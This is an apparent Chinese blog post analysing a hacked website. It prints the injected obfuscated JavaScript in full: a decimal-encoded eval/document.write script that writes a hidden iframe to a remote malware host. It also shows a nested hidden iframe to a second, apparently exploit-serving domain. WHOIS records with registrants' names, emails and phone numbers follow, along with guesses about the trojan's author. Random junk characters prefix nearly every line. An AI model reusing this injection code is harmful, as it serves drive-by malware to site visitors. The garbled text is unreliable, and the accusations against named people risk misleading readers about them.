首发在我的博客里面，
QKz2ONV=) qy\SOA h http://www.areway.cn/?p=175 6x;"T+BSSS ?1]B(V9nBq ,aWfGh#$ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
nYRD>S?uz <N 80MU L| <script>t=’60,105,102,114,97,109,101,
g5Hsz,x 32,115,114,99,61,104,116,116,112,58,47,47,
I GcR5/ 3 102,114,101,101,46,117,45,117,117,117,46,99,
S9/\L6Rmf 110,47,101,114,114,111,114,46,104,116,109,
DML0paOm5 32,119,105,100,116,104,61,49,48,48,32,104,
P#A|Pn<p 101,105,103,104,116,61,48,62,60,47,105,102,
8r\xQr'8h 114,97,109,101,62′;
. 55aY~We t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Yic'p0<
?V i 3Nt?FSN <script>t=’60,105,102,114,97,109,101,32,115,
+xmZK<{< 114,99,61,104,116,116,112,58,47,47,102,114,
Git2Cet 101,101,46,117,45,117,117,117,46,99,110,47,
SR)@' -Wd 101,114,114,111,114,46,104,116,109,32,119,
'?fn} V 105,100,116,104,61,49,48,48,32,104,101,105,
Y u^ } 103,104,116,61,48,62,60,47,105,102,114,97,
v g tJ+GjN 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
[iSLn3XXRX document.write(t);</script>
x~yd/ R [qt^ gy) <html xmlns=”
v#sx9$K T http://www.w3.org/1999/xhtml ^T@-y ys “>
/_bM~g <head>
V |0UwS\n <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
-H_7GVSnl <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
B T{({ 3 <title>首页 - 爱生活家庭网
uqy~hY DNM~/Oo 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
uoBPi[nK 转换字符串后的大概内容是（谁点击后果自付）：
,%m$_wA$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
gD fVY%[Z pm;g)p? 查询玉米u-uuu.cn的详细信息：
7@VR:~n}k Domain Name: u-uuu.cn
GHWpL\A{8` ROID: 20070901s10001s64972306-cn
M9S[{Jj* Domain Status: ok
`V0]t_*D Registrant Organization: 王雷
7
~ Bo*UM Registrant Name: 王雷
wY}+d0Ch Administrative Email:
czlovexs@126.com ~RE`@/wQ] Sponsoring Registrar: 北京万网志成科技有限公司
Ix5yQgnB}j Name Server:ns.yovole.com
0MzHr2?'P Name Server:ns1.yovole.com
3 ?/ } Registration Date: 2007-09-01 17:54
|y=D^N TG Expiration Date: 2008-09-01 17:54
#$fFp 最后PING了一下地址 都没有什么….
*m]%eU( Z=sAR(n}~ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
EA>$t \z <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
AB#hh i# <script language=”javascript” src=”
3vs2}IV' http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script !*#=7^# >
;6)|'3.B9 这个玉米应该有可能是木马作者的：
CnA*o 8w foafau.info的详细信息：
z KWi9 Access to INFO WHOIS information is provided to assist persons in
S"Zs'7dy` determining the contents of a domain name registration record in the
pK1 (AV'L Afilias registry database. The data in this record is provided by
|s`q+ U - Afilias Limited for informational purposes only, and Afilias does not
m
:^,qC guarantee its accuracy. This service is intended only for query-based
Ox43(S0~ access. You agree that you will use this data only for lawful purposes
)5V1H WjU and that, under no circumstances will you use this data to: (a) allow,
C ILk enable, or otherwise support the transmission by e-mail, telephone, or
#6m//0 u facsimile of mass unsolicited, commercial advertising or solicitations
If#7SF)n' to entities other than the data recipient’s own existing customers; or
1X9sx&5H (b) enable high volume, automated, electronic processes that send
n2O7n @8 queries or data to the systems of Registry Operator, a Registrar, or
uc"u@ _M Afilias except as reasonably necessary to register domain names or
wLUmRo56aR modify existing registrations. All rights reserved. Afilias reserves
Z yWC_r! the right to modify these terms at any time. By submitting this query,
O 1X
! you agree to abide by this policy.
ZmHl~MR@ Domain ID:D22418703-LRMS
{S&&X&A`v Domain Name:FOAFAU.INFO
*AN#D?X_ Created On:20-Nov-2007 16:05:42 UTC
i\eykYc, Last Updated On:20-Nov-2007 16:05:44 UTC
XAFTLNV> Expiration Date:20-Nov-2008 16:05:42 UTC
g%[Ruugu Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
n<$I, IRE Status:CLIENT DELETE PROHIBITED
nMbV{h , Status:CLIENT RENEW PROHIBITED
#5I "M WA Status:CLIENT TRANSFER PROHIBITED
r#~6FpFVK^ Status:CLIENT UPDATE PROHIBITED
`4p9K Status:TRANSFER PROHIBITED
v A{ [F7 Registrant ID:GODA-040110615
u1kbWbHu( Registrant Name:liu hong
hP#&]W3: Registrant Organization:
Mo<p+*8u: Registrant Street1:beijing
%`\{Nx k Registrant Street2:
nz&JG~Qfm Registrant Street3:
J/*[wj Registrant City:beijing
^ ~ I Registrant State/Province:
+%~g$#tlJo Registrant Postal Code:100000
MU^Z*r Registrant Country:CN
<z4!m/f [( Registrant Phone:+86.860108888777
J\0YL\jw1K Registrant Phone Ext.:
!%(B2J Registrant FAX:
Yb\36| Registrant FAX Ext.:
\5l}5<| Registrant Email:bbbshiji@163.com
TPzoU"
qh Admin ID:GODA-240110615
v>P){VT Admin Name:liu hong
?d%}K76V< Admin Organization:
ixkg, Admin Street1:beijing
5~?
J Admin Street2:
ab v] Admin Street3:
cS[`1y ,\3 Admin City:beijing
0nuFWV Admin State/Province:
pVY.&XB Z$ Admin Postal Code:100000
5VcYdu 3 Admin Country:CN
#,;k>2j0 Admin Phone:+86.860108888777
ouI0"R&@ Admin Phone Ext.:
]_ ,~q@r$ Admin FAX:
*]=)mM# Admin FAX Ext.:
BW;u? 1Xa Admin Email:bbbshiji@163.com
_B[(/wY Billing ID:GODA-340110615
7> Qt O Billing Name:liu hong
3 2Z4&~ I Billing Organization:
~!OjdE!u Billing Street1:beijing
U#P#YpD;== Billing Street2:
"8X+F% Billing Street3:
ij),DbWd Billing City:beijing
RP WYm Billing State/Province:
ro{MD s Billing Postal Code:100000
M>#{~zr Billing Country:CN
>j?uI6Uw Billing Phone:+86.860108888777
M@3H]t? Billing Phone Ext.:
zYNJF> ^< Billing FAX:
U|QDV16f Billing FAX Ext.:
]9:G3vq Billing Email:bbbshiji@163.com
'37b [~k4 Tech ID:GODA-140110615
Xz@>sY>Jc Tech Name:liu hong
"8I4]' Tech Organization:
T_dd7Ym'8 Tech Street1:beijing
8K/lpqw Tech Street2:
D. e*IP1R Tech Street3:
ZjK~s)RC Tech City:beijing
90!Ib~7zH Tech State/Province:
+A3 H#' Tech Postal Code:100000
a*8}~ p , Tech Country:CN
HKwGaCj` Tech Phone:+86.860108888777
|"<
I\Vs: Tech Phone Ext.:
y()( 8L Tech FAX:
uI[*uAR Tech FAX Ext.:
one>vi`= Tech Email:bbbshiji@163.com
yiq#p "Hs Name Server:NS27.DOMAINCONTROL.COM
:KLD~k7yA( Name Server:NS28.DOMAINCONTROL.COM
IY&a! Name Server:
d w|0K+-PH Name Server:
"gz;Q Name Server:
;~J~g# Name Server:
_<7FR:oBZ Name Server:
L9@jmh*E Name Server:
UK,P?_e Name Server:
K/-D 5U Name Server:
As`^Ku& Name Server:
DvCt^ O* Name Server:
/WfxI >v Name Server:
|*5nr5c_L 4#w^PM8} 接着下载每个文件里面的代码：
qu%s 7+ 一步一步看..
/ ["T#` 
^d*>P|n*@e 
M)7enp) F. 
V]}b3Y!( 
Vvj]2V3 
8rYK~Sz 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
